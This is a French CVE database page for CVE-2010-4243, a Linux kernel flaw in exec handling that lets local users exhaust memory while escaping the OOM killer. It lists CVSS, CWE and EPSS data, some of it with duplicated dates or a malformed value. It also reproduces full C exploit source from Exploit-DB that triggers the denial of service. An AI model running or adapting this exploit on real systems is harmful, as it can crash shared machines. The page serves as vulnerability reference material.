CVE-2010-4243

EPSS

0.18%V4

Vecteur

Local

Publié

2011-01-22
20h00 +00:00

Modifié

2018-10-10
16h57 +00:00

Liens officiels

CVE.org

NVD

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des notifications

Liste des Notifications

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

fs/exec.c in the Linux kernel before 2.6.37 does not enable the OOM Killer to assess use of stack memory by arrays representing the (1) arguments and (2) environment, which allows local users to cause a denial of service (memory consumption) via a crafted exec system call, aka an "OOM dodging issue," a related issue to CVE-2010-3858.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-400	Uncontrolled Resource Consumption The product does not properly control the allocation and maintenance of a limited resource.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V2	4.9		AV:L/AC:L/Au:N/C:N/I:N/A:C	nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.55%	–	–
2022-03-20	–	–	1.55%	–	–
2022-04-03	–	–	1.55%	–	–
2022-07-03	–	–	1.55%	–	–
2022-11-13	–	–	1.55%	–	–
2022-11-20	–	–	1.55%	–	–
2022-12-25	–	–	1.55%	–	–
2023-01-01	–	–	1.55%	–	–
2023-02-19	–	–	1.55%	–	–
2023-03-12	–	–	–	0.04%	–
2023-11-05	–	–	–	0.04%	–
2023-12-03	–	–	–	0.04%	–
2024-03-31	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-08-25	–	–	–	0.04%	–
2024-12-08	–	–	–	0.04%	–
2024-12-22	–	–	–	0.05%	–
2025-02-16	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-02-16	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.18%
2025-03-30	–	–	–	–	0.18%
2025-03-30	–	–	–	–	0.18,%

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Date	Percentile
2022-02-06	52%
2022-03-20	53%
2022-04-03	73%
2022-07-03	74%
2022-11-13	75%
2022-11-20	74%
2022-12-25	75%
2023-01-01	74%
2023-02-19	75%
2023-03-12	8%
2023-11-05	9%
2023-12-03	8%
2024-03-31	9%
2024-06-02	1%
2024-08-25	11%
2024-12-08	12%
2024-12-22	19%
2025-02-16	2%
2025-01-19	19%
2025-02-16	2%
2025-03-18	38%
2025-03-30	37%
2025-03-30	37%

Informations sur l'Exploit

Exploit Database EDB-ID : 15619

Date de publication : 2010-11-25 23h00 +00:00
Auteur : Roland McGrath
EDB Vérifié : No

// source: https://www.securityfocus.com/bid/44301/info /* known for over a year, fixed in grsec bug is due to a bad limit on the max size of the stack for 32bit apps on a 64bit OS. Instead of them being limited to 1/4th of a 32bit address space, they're limited to 1/4th of a 64bit address space -- oops! in combination with vanilla ASLR, it triggers a BUG() as the stack tries to expand around the address space when shifted Below mmap_min_addr you say? uh oh! ;) Reported to Ted Tso in December 2009 Linus today (Aug 13 2010) silently fixes tangential issue: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893 The second bug here is that the memory usage explodes within the kernel from a single 128k allocation in userland The explosion of memory isn't accounted for by any task so it won't be terminated by the OOM killer curious what actual vuln was involved that they were trying to silently fix, as I don't think it's the one below clobbering data in a suid app by growing the stack into the mapping for the image? ;) I smell privesc...mumblings of X server/recursion ulimit -s unlimited ./64bit_dos SELinux is here to save us though with its fine-grained controls! Wait, it doesn't? Clearly the solution is to throw a buggy KVM on top of it Not enough? Ok, we'll throw in an extra SELinux, that'll really throw those hackers off when they use the same exact exploit on the host as they do on the guest! COMMON CRITERIA HERE I COME! */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/personality.h> #define NUM_ARGS 24550 int main(void) { char **args; char *str; int i; /* not needed, just makes it easier for machines with less RAM */ personality(PER_LINUX32_3GB); str = malloc(128 * 1024); memset(str, 'A', 128 * 1024 - 1); str[128 * 1024 - 1] = '\0'; args = malloc(NUM_ARGS * sizeof(char *)); for (i = 0; i < (NUM_ARGS - 1); i++) args[i] = str; args[i] = NULL; execv("/bin/sh", args); printf("execve failed\n"); return 0; }